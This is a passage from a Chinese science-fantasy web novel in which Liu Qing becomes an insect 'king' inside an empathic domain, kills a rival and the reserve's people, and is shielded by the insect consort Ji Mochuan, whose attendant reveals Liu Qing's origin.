阿强:“什么?隔离……我操?刘清呢?我怎么感觉不到他了?”
“感觉。”
季末川的脑袋朝下偏了点,三对流体蓝的复眼宛如布满眼球的观察器,凝视的目光毫无阻拦地能刺穿每个人的灵魂。
“你到底是什么?”
阿强一噎,接着强词夺理,“现在是说这个的时候吗?按理说保护区进入戒严状态,管理装置应该都无法启用,可怎么还能有能量场的东西隔离刘清?”
季末川反问:“你是智能,却推算不出来?”
阿强一时拿不准这虫是不是居然在这种危急的情况下,还在嘲讽它的智商。
但它大人大量地原谅祂。
“要么是雷奎干的,要么是保护区干的,要么就是有谁冲着刘清来……”
阿强的推算戛然而止,机械脸上都能看出震惊。
“我靠……不能够吧?刘清这些年虽然得罪不少人,但也不至于到这地步吧?而且能把手伸到保护区来,得多大能量?再说了,如果想报复刘清,那整这么大场面,是不是也太小题大做了点?”
季末川:“小题大做吗?恰恰相反。”
“什么意思?你知道了什么?不对啊,你为什么这么冷静?敢情你说喜欢刘清就是耍嘴皮子啊?”
虫子前胸足的前跗节动了一下,侧爪压凹了阿强腹部的结构。
“不要再质疑我。”
“……好的。”
阿强能屈能伸,又问,“那咱们不去找刘清吗?还是说你知道到底发生了什么?”
虫子“嗯”了一声,“现在就去。”
说罢,祂骤然收拢了膜翅,鞘翅盖下,整个身躯如一艘失去动力的潜艇,朝着路面下的空洞直坠而下。
路遥跟阿强同时发出了尖叫声:
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“哇啊啊啊啊!!!!”
·
刘清不知道自己身在何处。
他记得自己走过“人毯”,但才走了数十米,脚下的路就变成盖粘稠的黑色深海,海里扑涌来的是数不胜数的强烈情绪。他的每个毛孔也像是都长出了舌头,尝出了每一滴海水的味道:焦苦发麻的负面情绪,辛辣刺疼的回不去的记忆,轻薄无味的解脱幻想……
味道之后,是从遥远的海底翻滚上来的,此起彼伏的惨叫声、恸哭声、哀嚎声……
“停下来……”
刘清咬紧牙关,本能抗拒着这滔天的情绪洪流,但身体还是在不断往海里坠落。
这不对劲。
刘清混沌地意识到了情况的不妙,他遭遇过情绪洪流,可从来没有像这一次一样,瞬间就被拖入了一个具象化的共感领域。
这是谁的共感领域?为什么广褒得像是一个空荡荡的世界?没有任何的主体意识,更没有对外来共感域的排斥,像是一个温和的生育者接纳着一切,也淹没一切。
“刘清,把你自己当作我。”
凌驾于生命之上。拒绝它们。
他记得季末川教过他的办法,在共感域里转换视角非常难,几乎是在转换主场。
但这是一个没有主体意识的共感域。
刘清轻而易举地做到了。
他“看”到自己悬于海面之上,俯瞰下去,才发觉这些海里每一个翻涌的阴影,都能看到一张张痛苦的脸。
黑色的海里升起了无数透明的丝线,就像刘清后脑的“外置装置”一样——那是介质纤维。
只要触碰到,就能连接。
只要连接,就能操控。
刘清只需要抓住它们,用他熟练的护理知识轻轻拨弄这些纤维,就可以让它们全部“安静”。
再不会有什么情绪洪流。
“…………”
不行。
我做不到。
刘清僵立在海面上,身体像是被浇筑在了水泥里一样动弹不得。
因为他意识到了这是什么,这片无主的共感域,一旦他接入了这片大海,那他将再也无法退下。
“绝对的权力就有绝对的代价。”——他太明白这个道理了。
他做不到去随意窥探别人的意识,更做不到随意就改变了别人的命运,乃至更甚。
他重活一世,本来就只想躺平生活,他不想麻烦别人,别人也不要来麻烦他。他希望自己浸泡在这个世界里,但是世界里的人不要联系他、不要靠近他、不要关心他、不要企图了解他!
让他当一个异世界的过客,用一生来旁观这个世界。
他不想当神,更不愿意当神。
他做不到——当这个念头切实从刘清的意识成型,这片空旷的共感域里发出了喑哑的声音。
【失格】
刘清突然就失去了俯瞰的视角,如石坠海,转瞬被漆黑汹涌的大海淹没。
窒息、失重、疼痛……比生理感受更加强烈的濒死感刺激着刘清的灵魂。
最终是人的求生本能占据了上风。
刘清下意识地反抗,抓住了那些丝线。
“人类的潜意识是掠夺,共感域的本能是融合。”
季末川曾说过的话从记忆中闪回。
下一秒,大海中所有的丝线接二连三、密密匝匝地自主扑向了刘清。
【入格】
30.新的王。
被一个人的情绪影响是什么感觉?
会跟着他的情绪走,会把他的情绪变成自己的情绪。
被十个人的情绪影响呢?
会被他们的情绪搅乱,会无暇顾及自己的情绪,会焦躁。
被一百个人呢?
会被他们同质的情绪影响,保留自己的情绪但会思考他们的情绪。
一千个人。
会被他们同质的情绪裹挟,保留自己的情绪加入他们。
一万个人。
会旁观他们同质的情绪,不为所动。
十万,百万,千万……
会把他们的情绪视作蚁群,置身事外。
千万人之上,佐以你绝对的掌控权,无人可以反驳,无人能够反抗,无道德可指责,无律法可约束。
以此为“极权”。
以此为“王”。
…
刘清站着,身上干爽,脚下是一颗朝上看的巨大眼球,角膜像一个透明的玻璃平台。
刘清站在眼球的瞳孔正中央。
眼球之下,是星罗棋布的无垠深海。原本杂乱的“丝线”已经全部串联起来,有的星子亮,有的星子暗。
它们被这颗眼球凝视着。
而刘清凝视着眼球。
“刘、清!”
一声穷凶极恶的声音从很远的地方传来,就像是来自另一个时空。
刘清循声看去,却在几步之外的眼球的边缘位置,看到了雷奎。
雷奎是个一百九十多公分的壮汉,光头,身上几乎每一寸皮肤都纹上了文身。
一个连毛孔都在散发着恶意的男人。
此刻他的身体变成了半透明,像是被无形的东西捆绑着、钉牢了,以一个四脚着地的姿势,朝着刘清的方向跪拜着。
他还在嘶吼,状若疯狂,极度不甘。
过于强力地挣扎导致他的骨头都承受不住如此的压力,手腕和膝盖处呈现一个奇怪的折叠角度,皮肉完好,却从地面渗出鲜红的颜色来。
“凭什么!我比你先一步踏上来,凭什么是你!?”
刘清也才清醒。比起对现状的疑惑,视觉上雷奎的存在首先让他的意识里翻腾起了一股厌恶。
他看过雷奎如何折磨那些竞赛参与者,并不是规则的任何要求,没有任何的奖励,但雷奎以此为乐趣。
弱肉强食,是雷奎奉行的王道法则。
于是此刻,他最忠诚的法则,也忠诚地将这个道理反馈在了他的身上。
——刘清的厌恶在意识升腾的瞬间,被这个共感领域的规则捕获,而后化作执行的力量,落实在了雷奎的身上。
王的厌恶。
撕碎其血肉、死寂其声音、抹除其五感、泯灭其意志、摧毁其灵魂——消除其存在。
“清除”几乎在同一时间完成。
眨眼功夫,原本强壮的男人变成了一团血肉模糊的东西,被一双无形的手像是面团一样捏成了一团,再不断挤压缩小。
“啊!”
刘清被眼前的情景吓了一大跳,恐惧截断了他的厌恶——那团被迫缩小的红色肉团停在了虚空。
“……”
刘清的理智回笼,同时回笼的还有一些莫名其妙的意识,让他知道刚才发生的这一切的原因——都在于他自己。
“不,不对……我没有这样期望。”
刘清的声音在颤抖,朝后退了半步,“我没有想要……”
他一时情急,找不到合适的词。
但他潜意识里否定刚才发生的一切,否定“消除”的成果。
于是下一秒,那团血肉又像是打湿拧干后被抖开的布,一下舒展开,皮球一样被吹出了个人形。
雷奎活了过来。然后在活过来的下一秒,他发出了惊天动地的惨叫声。
“啊啊啊啊!!!!”
“我杀了你!我一定杀了你!!”
他的身体完好无损,甚至连最初跪拜的断裂骨伤也消失了,但他像是承受了巨大的痛苦,紧紧抱着自己的脑袋,食指几乎要抓破头颅,把里头那无比惨烈的记忆撕扯出来。
“不……”
刘清无意识地轻轻摇头,又朝后踏了一步。
【入格】
那个喑哑的声音再次出现。同时,雷奎原本半透明的身体突然凝实,“砰”地一脚踏入了眼球的瞳仁范围。
“哈——,刘、清!”
雷奎嘶吼着朝刘清冲过来。
刘清心中一紧,防御的本能,以及曾经极限竞赛中的习惯,让他立刻作出了反应——他延伸出了自己的介质纤维,转眼化作一张大网,右手拍过左手手腕的……终端不见了。
那个医药箱里装着他需要的所有工具,那是他的武器。
仅此一瞬的功夫,雷奎已到跟前。
刘清迫不得已,只能用共感介质抵挡:大网扑向雷奎的脑袋,探囊取物地钻入他的大脑。
但原本应该切断对方的感知神经,甚至可以攻击他的大脑的介质纤维,触碰到的却是一片空。
砰!
一记重拳砸在刘清的脸上,他的整个头颅骨头都发出了因重力碰撞而挤压的恐怖声音。
疼痛和鲜血同一时间涌出了他的意识,口鼻、眼角……紧接着雷奎再接了一脚,踢在刘清的腰侧。
刘清在受了一击之后,巨大的痛苦和求生意识唤醒了他三年前的记忆和本能。
在雷奎踢过来的时候,他突然伸手抓住雷奎的脚踝——那双手明明精瘦得很,却像是有用不完的力气——一把扯开了雷奎的腿,同时刘清回身一脚朝雷奎□□踢去。
招式不算磊落,但在三年前的竞赛里,生存才是第一要义。
雷奎见状也反应极快地用力一甩腿,摆脱了刘清的桎梏,顺势旋了一圈,退开了两步。
然后他又一脚蹬地,冲了过来。
一边还在大笑着说话。
“哈哈哈!原来你当年赢我是因为共感域!现在你没招了!”
“这个地方,共感域是不起作用的,你根本什么都不了解,你根本没资格在这里!”
刘清被击打过的脑袋嗡嗡作响,一只眼睛快速充血,视野受到了影响。加之没有共感域的辅助,他和雷奎天堑一般的身体素质差距就变得明显起来。
他的动作起初还算反应灵敏,但很快就开始败露破绽,被雷奎抓住孔隙又重重砸在了他的肋骨上。
“咳!噗!”
刘清咳吐出一口血,气管里全是腥味,呼吸灼热滚烫得像是有岩浆从喉管里冲上来。
肋骨断裂,扎进了肺里。
会死的。
刘清清晰认识到了这个问题。
紧接着,那个喑哑的声音回答了他。
【当然会死】
【成王、败寇,没有第三条路】
【操控他者、或者沦为鱼肉,没有第三个选择】
【请您抉择】
雷奎像是也听到了这个声音,他愤怒地、疯狂地一边殴打着倒地的刘清,一边咆哮。
“这是我跟他的竞争,我才是你该奉主的人!”
“你你凭什么帮他!这又算什么规则?
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”
骨头被踩断、内脏被踩裂,破裂的内脏碎片和血被从喉咙和鼻腔里挤出来,阻塞了刘清的呼吸。
【请您抉择】
那个声音没有理会雷奎,而是再次向濒死的刘清求答。
“闭嘴!闭嘴!你们作弊!”
“你到底是谁!你为什么要偏袒刘清!?”
真的会死的。
极度的疼痛之中,刘清的余光透过身下巨大的眼球,看到了那深不见底的星海。
那些鳞次栉比的“丝线”,那些恒河沙数的星光,他们的生命和意识汇聚而成的这一缕目光,是他可以凝视的吗?
他不知道,但他知道他不想死。
或许昨天的他还会放弃,可是现在的他不愿意。
“季末川。”
刘清在心里默念了一次这个名字,像是打开了自己前世起就封锁的一处心房。
至少在死之前,他要勇敢地直视里面的怯懦、伪装和盼望。
刘清闭上了眼。
雷奎蓄积全部力量的脚悬在刘清的脑袋上头,时间在这一瞬间凝固。
雷奎目眦欲裂,眼角都崩裂出了血珠。
“凭什么?”
他的声音迟钝,像是被什么扼住了喉咙,执意说话的行为让他的声带变形、撕裂。
“你这样的胆小鬼,凭什么被认可?”
“就算成了王,你敢统治你的臣民吗?你能统治他们吗?”
“规则是错的,你到底是谁!?”
他的最后一句话不是在问刘清,而是突然折断了颈骨也要仰起头去看。
当他看清头上的东西后,他的瞳孔扩散,喉咙发出了“咕噜噜”的声响。
然而他没能说出答案。
他的生命和他的身体一起,像是一把尘沙,被不知何处的风一吹,纷纷扬扬落入了眼球之下的深海之中。
【正统】
喑哑的声音说出了最后的话。
巨大的眼球变成了柔软的王座,倒在上面的刘清被王座包裹,他身上的伤痕和血迹如同灰尘一般,被王座轻易清洗。
刘清落入眼球的瞳仁之中,却依旧没有醒来。
…
砰——!
巨大的虫子在距离地面十米不到的位置才张开翅膀,急速的悬停和翅膀快速的震动,发出一阵砸在耳膜上一般的音爆。
“哇啊啊!大哥大哥大哥,我耳朵要聋了!”
路遥几乎挂在季末川的节肢上,欲哭无泪。
虫子缓慢落地。
地裂之下是一个巨大的金属空洞——保护区的地下三分之一都是被挖空的。
这里堆着以往区域调整的建筑垃圾,甚至一些来不及——也或许根本就懒得处理的白骨。
周围漆黑一片,唯独前头的一处空间亮着微光,看不明白它的形状,像是一只巨大的浮游生物。
虫子松开节肢,顺手把露西亚塞到了路遥的怀里。
“站在这。”
“怎么了?不是来找刘清吗?他人呢?那是什么?”
路遥很慌,越是慌越是话多。
她下意识跟了季末川一步。
但就是这么一小步,那不知形状的“浮游生物”突然甩出了它网一样的光须,辐射数百米,从路遥的身体上胡乱穿过。
“我操!这什么?好冷!”
路遥空出一只手要去搓胳膊,但她抬起手臂,却听到“啪”的一声。
像是什么有点分量的东西掉到了地上。
路遥低头一看,瞳孔骤然紧缩——她的手。
31.生鞘
“诶?”
路遥的大脑还没反应过来,但身体已经开始四分五裂。
不止是她,还有她怀里的露西亚,还有一旁的阿强。他们的身体被刚才穿身而过的光线切割成了网状的块,阿强的身体里迸出能量液泄露的蓝色痕迹。
“我操!”
阿强只来得及骂了这一句,载体就已经碎裂成了一片废铁,它“死”了。
路遥和露西亚的身体后知后觉地涌出大量的血,但诡异的是,路遥的血却是一片浓稠的灰白色。
断面处尽是一片人造骨骼和生物电路的圆润截面。
她的头颅被切开成了两份,眼球还在发挥最后的作用,捕获到了一些画面。
她看到那只漆黑的巨大虫子的身体上泛出了淡蓝的光泽,那些扑来的光线就像是踏上了滑腻的青苔,从黑色的虫子身上略了过去;
她看到光网铺天盖地地不断扩张,四面八方,天上地下,穿透这地下空间的铜墙铁壁,穿透头上的土石结构,或许还在她看不到的地方继续延伸;
她看到光网的源点被光网照亮,勾勒出了一个人的形状,人悬浮在地面之上两米的距离,垂着头,身体是完全的放松状态,显然人还处于昏迷或者沉睡的阶段。
但即使人没有抬头,即使人只是一个轮廓,即使人杀了她。
路遥还是一眼认出了那是谁,比起愤恨与不甘,她心中喷涌而出的是强烈的痛苦和担心。
“刘……”
她被切断的喉咙迸出一丝湛蓝的火光,生物假体的中枢神经被彻底切断,路遥的瞳孔扩散,瞬间失去了生机。
砰、砰砰、砰砰砰砰……
身体沉重地,七零八落地落在了地上。一片粘腻的白色之中,分布着一些漆黑的、血红的色块。
…
季末川哀伤地看着百米开外的人,他像一只美丽的蝴蝶,翅膀发着光,轻盈地托举着他的灵魂。
但在这份美丽之下,他知道,那双鳞翅一样的光网翅膀,正在无差别地收割着保护区里每一个臣民的生命。
为什么?
季末川想,或许刘清从心底抗拒成为虫子。
可是当光网飞快扫过保护区里每一寸土地,收回到这个空间时:它们密集的光网照亮了整个地下空间,一路留下了扇状或放射状的弧形血痕。
它们的光芒和数量没有丝毫的回缩,乳燕投林一般迫不及待地朝着刘清扑去。
“……刘清!”
季末川骤然反应过来。
巨大的虫子张开所有翅膀,乃至甲壳都突然崩裂,从里面又生出了一双淡金色的透明翅膀。
嘭——!
空气被压缩成肉眼可见的激波,废墟在祂掠过的路径上塌陷出两米深的沟壑,祂化作一道撕裂空间的流光,比光网更快地抵达了刘清的跟前。
巨大的虫子挥动节肢,以难以想象的角度“拥抱”住了刘清。
“啪!!”
光网回笼,毁灭性地爆发出最大的能量袭击着它们的源头,转瞬突破了虫子身上的蓝光。
巨虫的甲壳在一瞬间爆裂,碎片如黑曜石般四散飞溅,淡金的血痕像是一片被乱石溅起的岩浆。
翅膀撕裂,节肢切断。祂毫不退让。
光网最终消失,巨虫像是一尊崩塌的雕塑,节肢和身体堆叠成一片与周围无二的废墟。金色的血液汩汩冒出,浇灌着这片惨烈的废墟。
而在祂的废墟之上,仅存的一只节肢抱着完好无损的刘清。
祂低着头,触角像是一朵压低的花枝,轻轻碰着刘清的头发。金色的血从祂的复眼上滴落,落在刘清的眼角,像刘清的一滴泪。
啪嗒。啪嗒。
有一个脚步声有条不紊地从黑暗之中传来。
巨虫的三对复眼都被光网切破了,祂透过破碎的视野,冰冷地望着前方。
黑暗中,一个高大的身影走了出来。影子上头有一个巨大的额角形状,背后是斗篷一样的宽大轮廓。
“塞弗恩特。”
人影停下,接着发出了一声恭敬的回答,“是的,殿下。”
从他的影子里飞出了几个机械照明,形成一个圆形,包围了他们三人,也照亮了一切。
塞弗恩特的双手碰着一个用黑色丝绸覆盖的东西,一米来长的扁平物体。
他的表情没有“胜利者”的得意洋洋,依旧是虔诚的。
即使眼前的季末川已经是砧板鱼肉,但在塞弗恩特眼里,他依旧是高高在上的“王”。
季末川问:“从哪里开始的?”
他们遭遇空难,到被动安置到地球,再到保护区,不过三天时间。而要做到让整个保护区沦为工具来针对刘清,三天的时间不可能够。
但塞弗恩特却说,“从我感知到您被唤醒的那一刻。”
季末川果断道:“不可能。”
塞弗恩特:“可能。因为您继承的传承记忆中,缺失了这一部分信息。”
季末川“嗤”了一声,不怒反笑,“原来如此,虫侍一族又开始意图取代王了吗?”
“您误会了,虫侍永远忠于王。凡是王期待的一切,我们都将付出所有去为陛下实现。”
“……”
季末川立刻便明白了,“陛下期待的,不,是前几任陛下的命令吗?”
“也是您的期待。”
季末川突然沉默了。
塞弗恩特:“双生纪元的初代王和他的伴侣,确实为虫族缔造了前所未有的盛世,也将虫族从闭关锁国的状态里剥了出来。
“但这种仅凭感情维系的双生关系,在绝对王权的诱惑下,是不可能保持长久的——特别是当绝对伴侣开始与王同步化卵、破壳起。
“绝对伴侣已经不再满足于辅佐者,并踏上了王座一角。”
季末川冷笑一声,“规则永远站在王的一边,绝对伴侣的所有行为,都是因王的期许而改变。
“是初代缔造了绝对伴侣,并对自己之后的继任者报以不切实际的幻想,而后代的王并没有履行王的义务的责任感,他们不成熟的思想、不被满足的任性,都是造就绝对伴侣逐渐被规则认可的原因。”
塞弗恩特轻微欠身。
“是的,一切都是王的意愿与意识。我并没有为此在指责您或任何一代绝对伴侣。
“
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只是早在三任前起,无论是出于自私、爱意,还是出于权力、仇恨,绝对伴侣与王希望切割这段联系这个意识,已然成为了陛下、殿下与黄金海的规则的共识。”
季末川基本拼凑出了事情的始末。
“所以,虫侍忠诚地为陛下执行这一愿望,方法就是在绝对伴侣破壳之前,杀死。——你们杀了几任绝对伴侣?”
塞弗恩特直起身,声音恭敬,冰冷。
“如果算上您,四任。”
季末川震惊。他原以为自己只是第二个。
塞弗恩特:“但很遗憾,绝对伴侣的死不仅没有反哺陛下,反而让虫王的卵跟着衰弱。乃至于这一次,您比虫王还要先一步破壳。”
季末川冷声道:“绝对伴侣被规则认可是因为王逃避自己的职责,只想要绝对权力却没有切割与绝对伴侣联系的能力的王,已经失去了规则的青睐。”
塞弗恩特:“所以绝对伴侣必须在您这里截止。”
季末川沉默。
塞弗恩特:“您是唯一先于王卵破壳的绝对伴侣,且您破壳后的虫体,几乎媲美初代的绝对伴侣。如果不阻止您,您一定会吞噬陛下——这是虫侍绝对不允许发生的事情。”
季末川:“绝对伴侣本来就是备用的王,王的竞争向来如此,虫侍的效忠对象是最终的胜利者。”
塞弗恩特:“虫侍的效忠是种族的繁荣安定和延续——自初代起,虫侍就被赋予了这个命令。
“而我判断,继承了前几任对陛下厌恨的您,不会与虫族带来安定。”
“……呵。”
季末川并不否认他的任何判断,反问:“你杀得了我?”
塞弗恩特:“您已破壳,虫侍无法对您产生迫害的意识。所以只能您自愿死去。”
“自愿?”
季末川像是听到了一个笑话。
塞弗恩特的视线却落在了季末川的怀里,“您已经找到了您的‘绝对伴侣’,不是吗?”
黑色的虫子骤然溢散出强大的威压信息素,塞弗恩特“砰”地一下单膝跪地,嘴角溢出半透明的血痕。
“你对他到底做了什么?”
塞弗恩特呛咳一声,才答道:“我什么也没做,您该问的是‘他到底是什么?’——您是王的绝对伴侣,是‘第二王’,能唤醒您的只有同级别的存在。更何况,他的介质纤维还撕裂了您的甲壳。您真的没有意识到他的身份吗?”
季末川断然道:“虫族不可能出现第三个王。”
塞弗恩特:“对此我也很意外,但事实就是他出现了。”
季末川:“……”
威压信息素收敛,季末川问道:“刘清到底是什么?”
塞弗恩特低头,“多谢您的宽恕。”
然后他骤然革化出了原形态,用一种对虫族来说绝对庄严的姿态,用胸足掀开了手里一直捧着的东西上的黑色丝绸。
那是一个巨大的金色卵鞘:它的壳是透明的,里头装着的不是幼虫,而是一汪如同琼浆的金色液体。液体散发着淡金色的光芒,随着轻微的晃动,折射出星海一般的光芒。
“如您所见,他是生鞘。”
32.爱的本能
虫王的绝对伴侣并非只有一个,而是两个。准确说,是两颗卵。
这两颗卵在破壳的竞争中,先出来的成为绝对伴侣,另外一个就会成为废卵,无法破壳,成了绝对伴侣的诸如备用体的存在。
这颗废卵就被称作假鞘。
但当这两颗卵都还没有破壳的时候,它们都被称作生鞘。
季末川当然知道生鞘是什么,可是塞弗恩特捧着的那颗生鞘,却并不是他记忆中的样子。
生鞘的卵壳不会是透明的,里头也不是液体,而是或人形或虫型的胚胎,大小往往在成人大小,比塞弗恩特捧着的这个要大一倍。
可这确实是生鞘——季末川能感觉出来。
季末川突然呛咳了一声,巨大的身体朝前倾斜,越过刘清吐出了一口血。
假鞘受损过重,时间不多了。
季末川看了塞弗恩特一眼,“别卖关子了,你有什么想说的,就全部都说出来吧。”
“遵命,殿下。”
塞弗恩特扁平的虫体直接伏在地上,行了一个礼。
“虫侍对未破壳的绝对伴侣能够怀有恶意,但是依旧不能直接杀害虫卵。所以在您之前的三任绝对伴侣,也都没有被杀害,而是被抛入了混沌星域。
“那里全是时空乱流。只要间隔足够长的时间,让破壳的王‘认可’生鞘的死亡,那些被抛弃的生鞘就会湮灭在星海中——我们验证过。”
“那是在第二次扔掉生鞘回来的路上,我的先代意外感知到了生鞘的信息素,追随着来到了地球,看到了那时候还不成熟的调频装置。
“先代找到这的时候,保护区还只是一个实验室。他们用非常规手段潜入了控制中心,看到了那个生鞘。那时候的生鞘就已经是现在这个模样。”
“原本是该收回它的,可是先代发现生鞘并没有完全死亡,其释放的信息素足以威慑任何对它有恶意的虫子,乃至杀死对方。但是对虫族以外的共感域却毫无影响。
“当时虫族在联盟的地位很敏感,这个实验室也是联盟多个要国打造的。所以为避免不必要的争端,我的先代没有收回这个生鞘,只是一直关注着这里的情况。”
“二十年后,保护区出现了。”
“保护区的原住民并不是纯血的原生人类,而是类虫族,是在生鞘的影响下诞生的杂血。
“他们的生命模式和所有类虫族的源头——棘虫——是一样的。棘虫会在不同的生命阶段、不同的寄主身上展现不同的形态,而后形成一个轮回,不死不灭。保护区的杂血会在垂死时,死亡后,一部分回归于保护区的‘诞生池’,生出新的人来。
“只是这些人无法脱离生鞘一定范围生存,一旦被强制脱离,就会在短时间里死去。否则联盟不会只把它用作赚钱的道具。”
“也是因为这个现象,先代认为这是一种类虫族的返祖现象,是一种没有产生‘王’的野生意识体,它终将逐渐衰退。”
“……”
塞弗恩特说完这句话之后沉默了许多,可能是在品味他的先代们随着时间而不断累积的,关于自己判断失误的悔恨。
——如果当时就销毁它的话……
“这一次,我本也是准备如法炮制地扔掉您的。只是没想到您会被突然唤醒,并且我们还意外被卷入了太空虫兽的迁徙路径。
“也是在那条空间隧道里,我看到了另一个生鞘。”
匍匐的虫子抬起头,那双黑里泛着金属暗绿的复眼,紧紧盯着眼前废墟上的巨大虫子。
“这场空难不是没有遇难者,是没有除了虫族以外的幸存者。”
听到这句话,已经反应迟钝的巨大虫子缓缓抬起了头。
“没有幸存者。”
“是的。您被唤醒后迸发的强大共感域救了我们一族,但除我们之外的所有舰艇里的生命……我亲眼看到了,那个生鞘的卵鞘被太空虫兽碰撞撕裂,里面金色的液体填充了整个空间隧道。
“它覆盖了除虫族以外的所有生命的身体,活着的,死去的,所有的生命都被它重塑了。
“我切实地感受到,在重塑的那一个瞬间,那个生鞘传递出来的微弱的意愿:不要死亡。”
“殿下。只有出现了‘王’的意识体,才能支配同族的命运,才能唤醒同等级别的您的意识。”
“我查过刘清的生平记录,他是在二十四年前被发现遗弃的杂血婴儿。
“而根据这些年我们对这里的调查了解,保护区里有许多针对游客的桃色服务,也是保护区杂血婴儿的唯一来源。这些婴儿通常羸弱、短命,所以在出生后就会被管理员送出保护区,集中在育婴处和孤儿院养着,等着他们自然死亡。
“刘清就是这些婴儿的其中之一。”
“殿下。刘清就是这个‘王’。一个与我们同宗同源,但又完全独立于王的意识统治的‘王’。”
“……”
塞弗恩特特意等了两秒。
季末川没有反驳他。
季末川像是想明白了什么事情。
“你说要我‘自愿’死去,是觉得我会因为喜欢刘清,割裂自己的意识,融入刘清的统治?”
他的语气像是认真,又像是嘲弄。
好像一边在严肃思考这个操作的可能性,一边在嗤笑虫侍的天真。
塞弗恩特没有正面回答。
“双王纪元的诞生,是源于初代的王将王权与自己的爱人共享,是一种能为彼此牺牲自己的、极致的感情托付。
“所以此后几代绝对伴侣与王之间,虽再没有迸出过那样的爱意,但彼此之间的忠诚、扶持、信任,一直延续着——也在一直减淡。
“可即使如此,绝对伴侣与王的潜意识里,被种下的对这份极致感情的渴望,已经成为了你们的本能。”
“殿下,刘清能够唤醒您,是因为您对他的共感域的认可与亲近,这本就是一种生理性和意识态的天生喜欢。”
季末川打断他,“喜欢到要让我自己成为他的奴隶?”
切割意识后融入另一个意识体,本质上就是对自我共感域的
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摧毁,将自己的意识和生命□□地奉于他人案几上。
塞弗恩特摇头,巨大的额角像是一个命运的摆锤,微微地晃了晃。
“是喜欢到会牺牲自己去救他——您刚才就这样做了,不是吗?”
“……”
塞弗恩特:“刘清虽然陷入了沉眠,但他的行为都是他的潜意识的投影:他赐死了他所有的臣民,而后更是意图杀死自己。
“这是一种非常严重的自毁倾向,这种意识不会随着他的醒来就消失。”
“殿下,您认为刘清是会欣喜接受自己是‘虫王’的事实吗?他会欣喜若狂地享受这种操控他人的绝对权力吗?他会沉醉于一个念头就能左右他人思维和人生的掌控游戏吗?他能够接受这些死掉的人……”
匍匐的甲虫伸出一根节肢,指向在季末川身后远处的废墟上——那里躺着一片新鲜的,红白混杂的液体和残肢。
“……这些他认识的人,变成他手里的橡皮泥,随意摧毁又被他重建的玩物吗?”
“殿下。他不会的。他无法接受,所以在求生欲下成为王,并接纳了规则给予王的权力后,他才会如此疯狂地想要毁掉这一切。”
“而殿下您,又能够做到在知晓这样的未来的前提下,依旧抛下刘清,任由他带着对您才萌生出的爱自生自灭,您自己却回到虫星与陛下争夺王权吗?”
嗡——!
恐怖的信息素威压,裹挟着王的愤怒,巨石一样形成了肉眼可见的风浪,生生砸裂了塞弗恩特的鞘翅。
“噗!”
巨大的甲虫吐出一口血,却竭力把捧着的生鞘举得更高了一些。
“殿下!”
“……”
“殿下。绝对伴侣与虫王已然离心,反噬虫王必定会为虫族招致大祸!何况您就算回到虫星,您这一任也只会是两败俱伤的结局。”
塞弗恩特又吐出一口血,声带几乎要被撕裂,声音逐渐沙哑。
“刘清的出现,是您和陛下、您和刘清、虫族,以及刘清自己能得到的一个最好的结局。
“殿下,我恳求您,哺育刘清。”
甲虫把捧着的生鞘举到了祂能抵达的最高点,仿佛在向神佛献祭最真诚的贡品。
“让刘清成为合格的王。即使您最终不选择他,规则也会自我切割部分融入他的黄金海,陛下和您的‘双生’的规则禁锢也会随之减弱。
“是救刘清,也是为您自己。”
“……”
塞弗恩特的声音如同涟漪一样,层层叠叠,渐行渐弱。最终,这个偌大的地底空洞里,死寂得如同一片深空宇宙。
仿佛过了一个世纪,在巨大的甲虫几乎要被恐怖的威压碾碎的前一秒,一根漆黑的节肢取走了那宛如盛着琼浆的生鞘。
一起被带走的,还有那取走了甲虫半条命的信息素威压。
“咳!咳咳!”
塞弗恩特劫后余生地呛咳了几声,然后更加虔诚地跪趴在地,怀着感激与无上的尊敬。
“叩谢殿下。”
33.新的纪元。
这是一间平层公寓,整个空间被打通,里头陈列简洁,且一目了然、:一张大床,几台仪器和智能管家,一个吧台,以及一个冰箱。
房间的窗帘都被拉上了,但没有严丝合缝,中间的纱帘露出一些光来,刚好照亮在床上。
床上的人身上贴着十来根导线,连接着床边的两台机器。
突然,机器上的绿灯全部转红,并发出了尖锐的警报声,床上的人随着猛地抽搐了一下,接着一下睁开了眼睛。
“操!”
床上的人坐起来,一头火红的卷发在一线阳光中格外显眼。
正是梁三山。
梁三山侧头,利落地一把拔掉了后颈上连接着的一根指粗的导管,导管的尽头是一丛生物科技的细末触须,触须上头卷着她的血,被拔出来后还在空中扭动。
“啪!”
梁三山把导管泄愤地扔到了地板上,而后一手支额,急促地喘着气。
房间里的智能管家自动启动,推过来一台仪器,并熟练地拿出了一些医疗用品,上前跪在床上,为梁三山处理后颈的创口。
“主人,检测到您的共感域波动异常,建议您立即进入治疗舱进行一次共感域安抚理疗。”
梁三山没有说话,她的眼球在不自控地震颤着,一种冰冷的、绝望的、如同星海深渊的恐惧笼罩着她。
“刘清……”
她处理好了纷乱的思绪,另一种恐惧油然而生。
智能管家飞快为她处理好了创口,第二次提醒她:“主人,检测到……”
砰——!
梁三山一把抓住智能管家的脸,手臂往前一挥,竟把七十多公斤的智能管家像个沙袋一样轻而易举地甩了出去。
智能管家被甩出很远,撞到吧台上,发出很大一声响。
“警报,载体损毁,请立即切断能源舱休眠。警报……”
梁三山对智能管家的警报声充耳不闻,她随手抓起了一件外套,快速出了门。
…
梁三山的车是一辆时兴的飞车,但这次她骑出来的却是一辆改装过的二十一世纪摩托。
她像是一只熟悉整个城市的老鼠,在每一条无人关注的街道小巷飞驰,最后在一个垃圾处理站的废弃排放口,竟闯进了隔离墙外的原始丛林。
摩托的每一个功能都是为了在丛林飞驰而准备的,因此梁三山的摩托比在城市里还要快地在丛林里飞驰,并很快就到了她的目的地。
那是一个鲜为人知的“黑市大门”,连通着密不通风的保护区。
嗡——!嗤。
摩托被一个横甩停在了门口,梁三山点击取消了能量场头盔,长腿一扫从摩托车上下来。
她立刻就要往大门里走去,但接着她又马上停下了脚步,并且只用了一秒判断,而后从摩托上拔出了一把能量□□,警惕地指向大门的方向。
哒。哒。哒。
有条不紊的脚步声从大门里传来,很沉重,间或夹杂一些吃力的呼吸声音。
咔哒。
大门从里头打开了,一个高大的身影从漆黑中走了出来。
正是塞弗恩特。
塞弗恩特已经恢复了人形,鞘翅上的裂痕没有恢复,但是人形的部分已经看不出伤痕,只是他的口鼻一直在缓慢的朝外溢着透明的血。
他并不是一个人出来的,他还抱着刘清。刘清已经沉睡着,眉头紧缩,脸上有几道淡金色的痕迹,眼球在眼睑下飞快转动着。
梁三山的脸色一变,立马打开了能量枪的安全阀。
“把他放下。”
